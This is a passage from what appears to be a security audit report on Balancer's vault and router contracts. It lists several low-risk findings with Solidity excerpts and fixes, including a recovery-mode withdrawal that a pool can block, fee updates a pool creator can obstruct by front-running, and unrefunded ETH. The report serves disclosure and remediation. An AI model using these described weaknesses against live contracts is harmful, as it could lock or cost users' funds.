Recommendation: Not sure if anything can be done to mitigate this shortcoming. The points for which the algorithm does not converge seem pretty isolated, and in any case adding or removing liquidity proportionally seems to solve the problem. In last resort modifying the amplification parameter can unblock the pool.

3.2.13 Vault lacks ability to enable query once disabled

Submitted by crypticdefense

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The Balancer vault contains query functionality (see VaultExtension.sol#L814-L841), giving anyone the ability to simulate a transaction without impacting the blockchain via eth_call. This is useful if a caller wants to decide how much slippage to incorporate in their transactions, what values to expect returned, etc...

Vault admin has the ability to disable this functionality:

- VaultAdmin.sol#L407-L413:

```
function disableQuery() external onlyVaultDelegateCall authenticate {
    VaultStateBits vaultState = _vaultStateBits;
    vaultState = vaultState.setQueryDisabled(true);
    _vaultStateBits = vaultState;

    emit VaultQueriesDisabled();
}
```

However, this will permanently disable any query functionality as there is no functionality to re-enable it again. Query calls/functions will permanently revert.

Recommendation: Consider adding functionality for vault admin to re-enable queries.

3.2.14 Pools can DoS `removeLiquidityRecovery`, breaking protocol invariant

Submitted by crypticdefense

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: If a pool is paused, or the vault is paused (or both pool and vault), pools can enter recovery mode.

- VaultAdmin.sol#L345-L355:

```
function enableRecoveryMode(address pool) external onlyVaultDelegateCall withRegisteredPool(pool) {
    _ensurePoolNotInRecoveryMode(pool);

    // If the Vault or pool is pausable (and currently paused), this call is permissionless.
    if (_isPoolPaused(pool) == false && _isVaultPaused() == false) {
        // If not permissionless, authenticate with governance.
        _authenticateCaller();
    }

    _setPoolRecoveryMode(pool, true);
}
```

During this time, all regular swap/add liquidity/remove liquidty operations are unavailable, except for `VaultExtension::removeLiquidityRecovery`. This allows LPs to safely remove their position during this period, effectively creating a withdrawal during pause period.

- VaultExtension.sol#L739-L807:

```
function removeLiquidityRecovery(
    address pool,
    address from,
    uint256 exactBptAmountIn
)
    external
    onlyVaultDelegateCall
    onlyWhenUnlocked
    nonReentrant
    withInitializedPool(pool)
    onlyInRecoveryMode(pool)
    returns (uint256[] memory amountsOutRaw)
{
    // Retrieve the mapping of tokens and their balances for the specified pool.
    mapping(uint256 tokenIndex => bytes32 packedTokenBalance) storage poolTokenBalances =
↪  _poolTokenBalances[pool];

    // Initialize arrays to store tokens and balances based on the number of tokens in the pool.
    IERC20[] memory tokens = _poolTokens[pool];
    uint256 numTokens = tokens.length;

    uint256[] memory balancesRaw = new uint256[](numTokens);
    bytes32 packedBalances;

    for (uint256 i = 0; i < numTokens; ++i) {
        balancesRaw[i] = poolTokenBalances[i].getBalanceRaw();
    }

    amountsOutRaw = BasePoolMath.computeProportionalAmountsOut(balancesRaw, _totalSupply(pool),
↪  exactBptAmountIn);

    for (uint256 i = 0; i < numTokens; ++i) {
        // Credit token[i] for amountOut.
        _supplyCredit(tokens[i], amountsOutRaw[i]);

        // Compute the new Pool balances. A Pool's token balance always decreases after an exit
        // (potentially by 0).
        balancesRaw[i] -= amountsOutRaw[i];
    }

    // ...

    _burn(pool, from, exactBptAmountIn); // <<<
```

```
        // ...
    }
```

Looking at the documentation for `removeLiquidityRecovery`:

- IVaultAdmin.sol#L216-L223:

```
    /**
     * @notice Enable recovery mode for a pool.
     * @dev This is a permissioned function. It enables a safe proportional withdrawal, with no external
↪    calls.
     * Since there are no external calls, live balances cannot be updated while in Recovery Mode.
     *
     * @param pool The address of the pool
     */
    function enableRecoveryMode(address pool) external;
```

- IVaultExtension.sol#L407-L421:

```
    /**
     * @notice Remove liquidity from a pool specifying exact pool tokens in, with proportional token
↪    amounts out.
     * The request is implemented by the Vault without any interaction with the pool, ensuring that
     * it works the same for all pools, and cannot be disabled by a new pool type.
     *
     * @param pool Address of the pool
     * @param from Address of user to burn pool tokens from
     * @param exactBptAmountIn Input pool token amount
     * @return amountsOut Actual calculated amounts of output tokens, sorted in token registration order
     */
    function removeLiquidityRecovery(
        address pool,
        address from,
        uint256 exactBptAmountIn
    ) external returns (uint256[] memory amountsOut);
```

> The request is implemented by the Vault without any interaction with the pool, ensuring that it works the same for all pools, and cannot be disabled by a new pool type.

As we can see, the vault intentionally does not interact with the pool and does not call any hooks during the `removeLiquidityRecovery` call. This is to ensure that no pool/hook can interfere with the recovery process of liquidity removal. However, that is not entirely true. Looking closer at the `_burn(pool, from, exactBptAmountIn)` call:

- ERC20MultiToken.sol#L122-L145:

```
    function _burn(address pool, address from, uint256 amount) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(from);
        }

        uint256 accountBalance = _balances[pool][from];
        if (amount > accountBalance) {
            revert ERC20InsufficientBalance(from, accountBalance, amount);
        }

        unchecked {
            _balances[pool][from] = accountBalance - amount;
        }
        uint256 newTotalSupply = _totalSupplyOf[pool] - amount;

        _ensurePoolMinimumTotalSupply(newTotalSupply);

        _totalSupplyOf[pool] = newTotalSupply;

        emit Transfer(pool, from, address(0), amount);

        // We also emit the "transfer" event on the pool token to ensure full compliance with the ERC20
↪    standard.
        BalancerPoolToken(pool).emitTransfer(from, address(0), amount); // <<<
    }
```

We can see an external call is made directly to the `emitTransfer` function of the pool. If the pool reverts this call during recovery mode, it will permanently DoS `removeLiquidityRecovery`, breaking the invariant.

Submitting as medium severity since invariant is broken and falls under:

> A DoS that can prevent access to more than 5% of total TVL for more than 1 minute, for less money than the value of the funds in question.

In addition, user funds are locked despite recovery mode enabled.

Recommendation: In the case of recovery mode, do not make an external call to the pool to emit the event. Instead, emit it directly from the same contract.

3.2.15 `_ensureValidPrecision()` can be exploited to maliciously invalidate the new `globalProtocolSwapFee`

Submitted by 0x1982us

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: In `ProtocolFeeController.sol`, the process of modifying the protocol fee is as follows:

1. Admin calls `setProtocolSwapFeePercentage()`.
2. Anyone calls `updateProtocolSwapFeePercentage(pool)`, to update `vault::AggregateSwapFeePercentage`.

The formula is as follows:

```
AggregateSwapFeePercentage = protocolFeePercentage + 1 - protocolFeePercentage*
↪  poolCreatorSwapFeePercentages[pool]
```

Finally all need to be verified by `_ensureValidPrecision(AggregateSwapFeePercentage)` to verify that the precision cannot be less than `1e11`.

```
function _ensureValidPrecision(uint256 feePercentage) private pure {
    // Primary fee percentages are 18-decimal values, stored here in 64 bits, and calculated with full 256-bit
    // precision. However, the resulting aggregate fees are stored in the Vault with 24-bit precision, which
    // corresponds to 0.00001% resolution (i.e., a fee can be 1%, 1.00001%, 1.00002%, but not 1.000005%).
    // Ensure there will be no precision loss in the Vault - which would lead to a discrepancy between the
    // aggregate fee calculated here and that stored in the Vault.
    if ((feePercentage / FEE_SCALING_FACTOR) * FEE_SCALING_FACTOR != feePercentage) {
        revert IVaultErrors.FeePrecisionTooHigh(); // <<<
    }
}
```

Due to this precision limitation, `Pool Creator` can maliciously adjust `poolCreatorSwapFeePercentages[pool]` to make the precision lower than `1e11`, causing the second step `updateProtocolSwapFeePercentage(pool)` to fail, thus maliciously preventing the `new protocolFeePercentage` from being updated.

For example, for the sake of demonstration, it is simplified to a precision of 0.001.

- Old `protocolFeePercentage = 0.05`.
- Old `poolCreatorSwapFeePercentages = 0.02`.
- So `AggregateSwapFeePercentage = 0.05 + ((1 - 0.05) * 0.02) = 0.069`.

If the protocol is to be changed to `0.06`, it will `0.06 + ((1 - 0.06) * 0.02) = 0.0788`.

`Pool Creator` can front run modifications `poolCreatorSwapFeePercentages` to satisfy `old protocolFeePercentage` but not `new protocolFeePercentage`, which prevents updating `new protocolFeePercentage`.

Impact: If the protocol wants to increase the `protocolFeePercentage`, the `Pool Creator` can modify the `poolCreatorSwapFeePercentages` to make it impossible to satisfy the precision, and maliciously keep the fee at a lower value.

Recommendation: `_ensureValidPrecision()` if precision is not met, `round down` to `1e11`, don't `revert`.

3.2.16 Users can lose their ETH when using the `addLiquidityProportionalToERC4626Pool` function to add liquidity

Submitted by dash, also found by 0x1982us, ilchovski and dash

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: Users can interact with `Balancer` through various `router` functions. For `WETH` `deposits`, users can either `deposit` `WETH` directly or send `ETH` to the `router`, which will convert it to `WETH` for supplying to `Balancer`. As with other `DEXs`, these `router` functions are expected to refund any excess `ETH` to the user if they `overdeposit`, aiming for a specific output amount without knowing the exact `deposit` required. However, the `addLiquidityProportionalToERC4626Pool` function does not refund excess `ETH`, leading to potential loss of funds for users.

Users want to `deposit liquidity` into an `ERC4626 pool` using the `addLiquidityProportionalToERC4626Pool` function to receive a precise amount of `BPT` tokens:

- CompositeLiquidityRouter.sol#L89:

```
function addLiquidityProportionalToERC4626Pool(
    address pool,
    uint256[] memory maxUnderlyingAmountsIn,
    uint256 exactBptAmountOut,
    bool wethIsEth,
    bytes memory userData
) external payable saveSender returns (uint256[] memory underlyingAmountsIn) {
    underlyingAmountsIn = abi.decode(
        _vault.unlock(
            abi.encodeCall(
                CompositeLiquidityRouter.addLiquidityERC4626PoolProportionalHook,
                AddLiquidityHookParams({
                    sender: msg.sender,
                    pool: pool,
                    maxAmountsIn: maxUnderlyingAmountsIn,
                    minBptAmountOut: exactBptAmountOut,
                    kind: AddLiquidityKind.PROPORTIONAL,
                    wethIsEth: wethIsEth,
                    userData: userData
                })
            )
        ),
        (uint256[])
    );
}
```

Suppose one of the tokens involved is `WETH`, and users `deposit` `ETH` instead. Since users cannot know the exact `deposit` amount required upfront, they deposit a sufficient amount of `ETH`, potentially limited by the `maxUnderlyingAmountsIn` parameter.

During the process, `addLiquidityERC4626PoolProportionalHook` is called, and the `vault.addLiquidity` function calculates the required token `deposit` to obtain the desired `BPT` tokens, including the `WETH` amount. For `pools` with `ERC4626` tokens, the necessary underlying token amounts are calculated to convert to `wrapped` tokens:

- CompositeLiquidityRouter.sol#L247:

```
function addLiquidityERC4626PoolProportionalHook(
    AddLiquidityHookParams calldata params
) external nonReentrant onlyVault returns (uint256[] memory underlyingAmountsIn) {
    IERC20[] memory erc4626PoolTokens = _vault.getPoolTokens(params.pool);
    uint256 poolTokensLength = erc4626PoolTokens.length;

    uint256[] memory maxAmounts = new uint256[](poolTokensLength);
    for (uint256 i = 0; i < poolTokensLength; ++i) {
        maxAmounts[i] = _MAX_AMOUNT;
    }

    // Add wrapped amounts to the ERC4626 pool.
    (uint256[] memory wrappedAmountsIn, , ) = _vault.addLiquidity(
        AddLiquidityParams({
            pool: params.pool,
            to: params.sender,
            maxAmountsIn: maxAmounts,
            minBptAmountOut: params.minBptAmountOut,
            kind: params.kind,
            userData: params.userData
        })
    );

    (underlyingAmountsIn, ) = _wrapTokens(
        params,
        erc4626PoolTokens,
        wrappedAmountsIn,
        SwapKind.EXACT_OUT,
        params.maxAmountsIn
    );
}
```

In the `_wrapTokens` function, there is no underlying token for `WETH`, so only the required `WETH` amount is `deposited` using the `_takeTokenIn` function:

- CompositeLiquidityRouter.sol#L340-L349:

```
function _wrapTokens(
    AddLiquidityHookParams calldata params,
    IERC20[] memory erc4626PoolTokens,
    uint256[] memory amountsIn,
    SwapKind kind,
    uint256[] memory limits
) private returns (uint256[] memory underlyingAmounts, uint256[] memory wrappedAmounts) {
    uint256 poolTokensLength = erc4626PoolTokens.length;
    underlyingAmounts = new uint256[](poolTokensLength);
    wrappedAmounts = new uint256[](poolTokensLength);
    bool isStaticCall = EVMCallModeHelpers.isStaticCall();

    for (uint256 i = 0; i < poolTokensLength; ++i) {
        IERC4626 wrappedToken = IERC4626(address(erc4626PoolTokens[i]));
        IERC20 underlyingToken = IERC20(_vault.getBufferAsset(wrappedToken));
        if (address(underlyingToken) == address(0)) {
            underlyingAmounts[i] = amountsIn[i];
            wrappedAmounts[i] = amountsIn[i];

            if (isStaticCall == false) {
                _takeTokenIn(params.sender, erc4626PoolTokens[i], amountsIn[i], params.wethIsEth);
            }

            continue;
        }
    }
}
```

However, since the required amount (`amountsIn[i]`) is often less than the `ETH` deposited by users, any excess `ETH` is not refunded, resulting in potential loss of funds for users.

Impact: The impact is at least medium, as users may lose their ETH due to this issue.

Likelihood: The likelihood is also at least medium as this always happen when users want to use this function.

Recommendation:

```
  function addLiquidityProportionalToERC4626Pool(
      address pool,
      uint256[] memory maxUnderlyingAmountsIn,
      uint256 exactBptAmountOut,
      bool wethIsEth,
      bytes memory userData
  ) external payable saveSender returns (uint256[] memory underlyingAmountsIn) {
      underlyingAmountsIn = abi.decode(
          _vault.unlock(
              abi.encodeCall(
                  CompositeLiquidityRouter.addLiquidityERC4626PoolProportionalHook,
                  AddLiquidityHookParams({
                      sender: msg.sender,
                      pool: pool,
                      maxAmountsIn: maxUnderlyingAmountsIn,
                      minBptAmountOut: exactBptAmountOut,
                      kind: AddLiquidityKind.PROPORTIONAL,
                      wethIsEth: wethIsEth,
                      userData: userData
                  })
              )
          ),
          (uint256[])
      );

+     _returnEth(params.sender);
  }
```

3.2.17 The `queryRemoveLiquidityProportionalFromERC4626Pool` function cannot be used when the pool contains more than 2 tokens

Submitted by dash

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: Users can know `withdrawal` amounts when burning specific `BPT` amounts from the `ERC4626 pool` through the `queryRemoveLiquidityProportionalFromERC4626Pool` function.

However, this function will revert if the `pool` has more than `2` tokens, as the `minAmountsOut` parameter only contains `2` items:

```
function queryRemoveLiquidityProportionalFromERC4626Pool(
    address pool,
    uint256 exactBptAmountIn,
    bytes memory userData
) external saveSender returns (uint256[] memory underlyingAmountsOut) {
    underlyingAmountsOut = abi.decode(
        _vault.quote(
            abi.encodeCall(
                CompositeLiquidityRouter.removeLiquidityERC4626PoolProportionalHook,
                RemoveLiquidityHookParams({
                    sender: msg.sender,
                    pool: pool,
                    minAmountsOut: new uint256[](2),
                    maxBptAmountIn: exactBptAmountIn,
                    kind: RemoveLiquidityKind.PROPORTIONAL,
                    wethIsEth: false,
                    userData: userData
                })
            )
        ),
        (uint256[])
    );
}
```

Recommendation: Extend the `minAmountsOut` array to match the number of tokens in the `pool`.